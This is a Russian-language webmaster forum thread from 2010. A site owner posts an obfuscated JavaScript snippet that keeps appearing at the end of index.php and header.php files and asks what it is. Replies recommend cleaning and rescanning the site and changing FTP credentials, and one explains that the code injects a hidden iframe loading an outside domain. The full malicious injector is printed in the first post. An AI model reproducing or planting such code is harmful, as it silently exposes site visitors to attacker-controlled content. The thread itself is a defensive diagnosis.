X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> Подозрительный скрипт, вопрос
Mike1111
Mike1111
Topic Starter сообщение 25.2.2010, 1:29; Ответить: Mike1111
Сообщение #1


Доброго времени суток! С недавнего времени на одном из сайтов стал замечать странную вещь - во всех файлах типа: index.php/header.php в самом конце "дописывается"/"появляется" странный код. Все пароли сразу же сменил при первом обнаружении, однако проблема не решилась. Вопрос к знатокам: что это такое и с чем это едят?

Сам код:
<script type='text/javascript'>function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF="";wS=9383;nB="nB";var t=new Date();    var h='';var m=new Date();    String.prototype.iH=function(d, o){return this.replace(d, o)};var r=new Date();tR="tR";kQ=false;gG=20573;wJ=false;zW="";var c=function(){};var y=window;gN="gN";this.yQ="yQ";var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];var eK=new Date();var hI="hI";function jL(){};var z = this;var rN='';var p=false;var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";function mT(){};xH="";this.u=false;var f=document;this.dX="dX";this.hB="hB";var jA=false;var k = { vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') };var rK='';function hV(){};var uI=function(){return 'uI'};this.gC='';var rP="";var tZ=function(){return 'tZ'};this.a="a";var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));var kL=new Date();i=39073;this.fU="fU";jO=false;pW='';var eY=5116;try {rD="rD";vC=false;var fI=function(){};var rU="rU";this.q="q";b="";var bJ='';nE(n,k.oU, yR("display%3A%20none"));function dS(){};rG=63044;this.uK=false;this.iB="iB";nE(n,k.w, this.fK());eU="eU";this.pS='';this.fR="";var qA='';qE="qE";qL="";f[k.xK][k.vM](n);this.xL=54456;this.hW="";var bK=new Array();this.iR="";} catch(g) {this.vB="";tN='';var eJ='';var uD=new Array();var rV=new Date();var l=function(){};this.lK='';f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));this.hK=49925;var iL=new Array();hKH='';this.uJ=61972;this.cO="cO";var s="s";this.mG=53808;y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ this.cJ="cJ";this.uR="";var pO='';vH=58151;this.dSF='';var sV="sV";z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU="kU";zT="";}, 368);zJ="";var dXZ="dXZ";}qZ=19279;this.vBG='';var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ="";function nE(n, j, dB){this.bW='';var fT=new Array();n[k.fV](j,dB);var iRP=function(){return 'iRP'};tD="";var kI=new Array();}this.xX='';this.fX='';var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK="dK";cP.v();function gQ(){};</script>
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Alex_RD
Alex_RD
сообщение 25.2.2010, 11:16; Ответить: Alex_RD
Сообщение #2


Как-то зрительно не нравиться. При заходе на те страницы, в которых присутствует этот код, происходят какие-либо нехорошие действия (редирект, загрузка .pdf и прочих файлов), посмотрите с помощью Firebug'a. Вообще лучше посмотреть скопировать сайт целиком на локальный компьютер, почистить от этого (лучше смотреть во всех .php, .html, .js итп). Удалить с хостинга файлы и скопировать обратно чистые. Ну и стандартная процедура: обновить базы антивируса, желательно проверить сканером еще хотя бы 1го антивируса. Удалить логин и пароль из автозаполнения ftp клиента. Ну и там где это не критично убрать права 777 и поставить 775. Ну и если не помогло, начинаем спрашивать хостера.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
extezy
extezy
сообщение 25.2.2010, 11:27; Ответить: extezy
Сообщение #3


Вы не один такой.
Чиатйте:
www.google.ru/support/forum/
forum.searchengines.ru


--------------------
Дизайнер, музыкант, автогонщик, футболист. Люблю Алену, мамин борщ и пиво с шоколадом.
ZOMRO.COM - держу свои проекты на этом хостинге, рекомендую.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
fourfingers
fourfingers
сообщение 25.2.2010, 14:14; Ответить: fourfingers
Сообщение #4


Собственно, этот код создаёт скрытый фрейм src="http://click-poisk.com/there/in.cgi?7"

Тот факт, что он у вас появляется автоматически, может говорить о том, что либо у Вас на компьютере вирус, либо пароль от FTP был украден и используется для заражения скриптов.


--------------------
размещаю статьи на: тИЦ 250/PR 5, тИЦ 2200/PR 4, тИЦ 4200/PR 6


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Mike1111
Mike1111
Topic Starter сообщение 25.2.2010, 15:01; Ответить: Mike1111
Сообщение #5


Большое спасибо за информацию. Еще раз сменил пароль от FTP и решаю вопрос с антивирусной безопасностью компьютера. Хостеру тоже написал, чтобы предоставил логи входов на ftp.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
ChristmasNet
ChristmasNet
сообщение 26.2.2010, 0:01; Ответить: ChristmasNet
Сообщение #6


не сохраняйте пароли от фтп в фтп-клиентах
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Mike1111
Mike1111
Topic Starter сообщение 26.2.2010, 8:36; Ответить: Mike1111
Сообщение #7


В том и дело, что не сохраняю. Каждый раз ввожу ручками.

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Продам скрипт rtb exchange suite - система перепродажи трафика dsp/ssp в реальном времени.
5 buypushplatform 4305 23.4.2024, 21:02
автор: 100ftd
Открытая тема (нет новых ответов) Скрипт поисковика видео StrongTube
3 3josoft 1576 14.8.2023, 14:45
автор: 3josoft
Открытая тема (нет новых ответов) Скрипт приема платежей p2p с карты на карту card2card
Скрипт приема платежей p2p с карты на карту card2card
15 zladey1986 7845 26.3.2023, 8:54
автор: Palundra
Открытая тема (нет новых ответов) Продам скрипт перевода постов и комментариев
4 Tutich 791 19.1.2023, 17:23
автор: Tutich
Открытая тема (нет новых ответов) Битрикс скрипт нативной установки
3 Nemo 2456 20.11.2022, 10:09
автор: Webmaster24


 



RSS Текстовая версия Сейчас: 25.4.2024, 23:58
Дизайн